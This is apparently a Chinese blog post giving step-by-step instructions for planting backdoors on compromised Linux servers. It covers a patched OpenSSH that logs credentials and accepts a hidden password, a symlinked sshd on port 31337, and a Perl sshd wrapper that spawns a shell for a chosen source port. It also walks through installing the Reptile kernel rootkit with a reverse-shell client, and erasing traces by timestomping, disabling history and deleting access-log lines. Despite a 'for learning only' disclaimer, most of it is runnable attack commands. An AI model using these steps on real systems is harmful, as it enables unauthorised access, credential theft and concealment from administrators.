Linux安全
     分类:安全     有: 0 条评论

Linux安全

     分类:安全     有: 0 条评论

仅供学习,测试,请勿用于非法用途。


Linux Fokirtor Backdoor

http://blog.51cto.com/redkey/1340104


PAM后门(OpenSSH通用后面)

需要编译,比较麻烦

优势:隐蔽性较强,不易被发现。
劣势:需要编译环境,缺少GCC或其他依赖包容易出现问题。

cd ~
# 备份SSH配置文件。
cp /etc/ssh/ssh_config /etc/ssh/ssh_config.old
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.old
ssh -V     #记录原来的版本信息,用于伪装
# 查看Linux的版本及其信息。
cat /etc/issue
uname -ar

# 开始
yum install -y openssl openssl-devel pam-devel zlib zlib-devel patch
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
cd openssh-5.9p1.patch/
cp sshbd5.9p1.diff ../openssh-5.9p1
cd ../openssh-5.9p1
patch < sshbd5.9p1.diff   //patch  后门


# 修改后门密码
vim includes.h                   //修改后门密码,记录文件位置,

/*
+#define ILOG "/tmp/ilog"                    //记录登录到本机的用户名和密码
+#define OLOG "/tmp/olog"                   //记录本机登录到远程的用户名和密码
+#define SECRETPW "123456654321"    //你后门的密码
*/

# 修改版本号
vi version.h                            //修改ssh版本信息,改成原来的
# 一般只修改版本号和px,然后删除多余的如ubuntu等标识。


# 编译安装。
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make clean
# 此时最好再新开几个ssh终端,执行install后ssh服务会挂掉,以防万一再也无法连接上服务器。
make && make install
# Centos很容易遇到下面两个问题。
# 如果报权限问题
chmod 0600 /etc/ssh/ssh_host_*
#Could not load host key: /etc/ssh/ssh_host_ed25519_key
ssh-keygen -t dsa -f /etc/ssh/ssh_host_ed25519_key
输入y,两次回车。

# 重启ssh
systemctl restart sshd
此时会因为超时而启动失败,不用惊慌;不用操作,等待半分钟就能看到22端口已经起来了。
systemctl status sshd的状态是未启动的!但是可以正常使用ssh,任何用户修改密码也不会影响到后门密码。
还有一个缺点,执行exit退出系统后,无法立刻再连接服务器,连接会被拒绝,需要等待15-30秒(时间不固定)左右才能再次连接。


# 恢复新配置文件的日期,使其与旧文件的日期一致。
#对ssh_config和sshd_config文件的内容进行对比,使其配置文件一致,然后修改文件日期。
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config


# 清除操作日志。
cd ~
rm -rf *openssh*
export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志

参考:
https://yq.aliyun.com/articles/69350
http://www.freebuf.com/sectool/10474.html
http://blog.51cto.com/redkey/1345091
https://www.tuicool.com/articles/eIv22az
后门扩展(发邮件):http://0cx.cc/ssh_get_password.jspx


快速获得ssh后门(简单ssh)

# 在远程主机上执行,就会派生一个31337端口(端口可修改)
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337

# 本地连接
ssh root/bin/ftp/mail@ip -p 31337
密码任意输入,不能为空

原理:

优势:隐蔽性较弱,适合短时间连接。
劣势:重启后会断开,无法后弹连接。

参考:
http://www.cnblogs.com/sevck/p/6495884.html
http://www.freebuf.com/articles/system/138753.html


SSH wrapper后门

kali里面放这个后门,就能连接上。ubuntu和centos里面放这个后门,连接会出现protocol mismatch。

# 在远程主机上执行
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
#echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..zf/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod a+x sshd
/etc/init.d/sshd restart


# 本地连接
socat STDIO TCP4:[IP]:22,sourceport=19526
#socat STDIO TCP4:[IP]:22,sourceport=31334

原理:init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始正常的sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。
这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。
此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。

优势:隐蔽性较强,无需要编译,使用于大部分环境中。
劣势:需要重启sshd进程。

参考:
http://www.freebuf.com/articles/system/140880.html
https://www.tuicool.com/articles/eIv22az
https://blog.csdn.net/u013648937/article/details/50818358


利用mafix rootkit创建后门

优势:隐蔽性一般,无需要编译。
劣势:会替换ls等命令,容易被识破。

参考:https://www.tuicool.com/articles/eIv22az


用cron和linux用户管理制造后门

原理:通过cron加载脚本(脚本名不要太容易识别),定时修改,还原/etc/passwd和/etc/shadow而达到指定时间无密码登录的效果。

参考:
https://blog.csdn.net/yxyhack/article/details/1799791


systemtap抓取ssh登录的用户名和密码

http://blog.51cto.com/redkey/1354304


找到隐匿于last和w命令中的ssh登录痕迹

http://www.freebuf.com/articles/system/182860.html

# 使用此方式登录调用bash,不会分配tty,不是交互会话,也不会出现在w、last等命令结果中。
ssh -lroot 192.168.0.21 /usr/bin/bash

内核后门(LKM Linux rootkit)

github:https://github.com/f0rb1dd3n/Reptile
网上相关教程很多,这里简单描述一下。

git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
# 安装
./setup.sh install
会提示你要隐藏的文件夹,设定后门账户密码记试探端口。
安装完成后文件夹会被隐藏,无法ls或tab补齐;只能输入绝对路径才能ls出文件。
SRC port: 666    # 对应-x icmp
TCP port: 80     # 对应-x tcp      
UDP port: 53     # 对应-x udp


# 生成客户端(账户密码等最好和服务端保持一致,端口映射的看实际情况)
./setup.sh client

# 卸载程序
./setup.sh remove

# 提权(任何用户执行这个命令就会得到root权限)
/reptile/reptile_r00t
#reptile[这个文件夹名取决于安装前你cd到目录时的文件夹名],如果是123,则为/123/reptile_r00t
#reptile_r00t中的reptile取决于你安装时设置的名称,如果是yyy则是yyy_r00t

# 显示、隐藏
# 显示、隐藏文件夹(本身程序的文件夹,非其他文件夹)
kill -50 0

# 显示、隐藏进程
kill -49 <PID>

# 显示、隐藏标签之间的所有内容,标签在scripts下的一个脚本文件中
kill -51 0 and all content between the tags will be hidden


#客户端连接
# https://github.com/f0rb1dd3n/Reptile/blob/master/sbin/README.md

./reptile_client -t 192.168.1.5 -x icmp -l 192.168.1.2 -p 4444 -w 1234567890 -k leo
-t 是肉鸡的ip地址
-x 后面的协议tcp、udp、icmp都行
-l 后面是本地的ip,-p是本机监听端口(随意换),反弹shell会连接这个IP和端口;;;vps的4444端口一般都会给封。
-w 密码
-k token可以理解为用户名
(●゚ω゚●)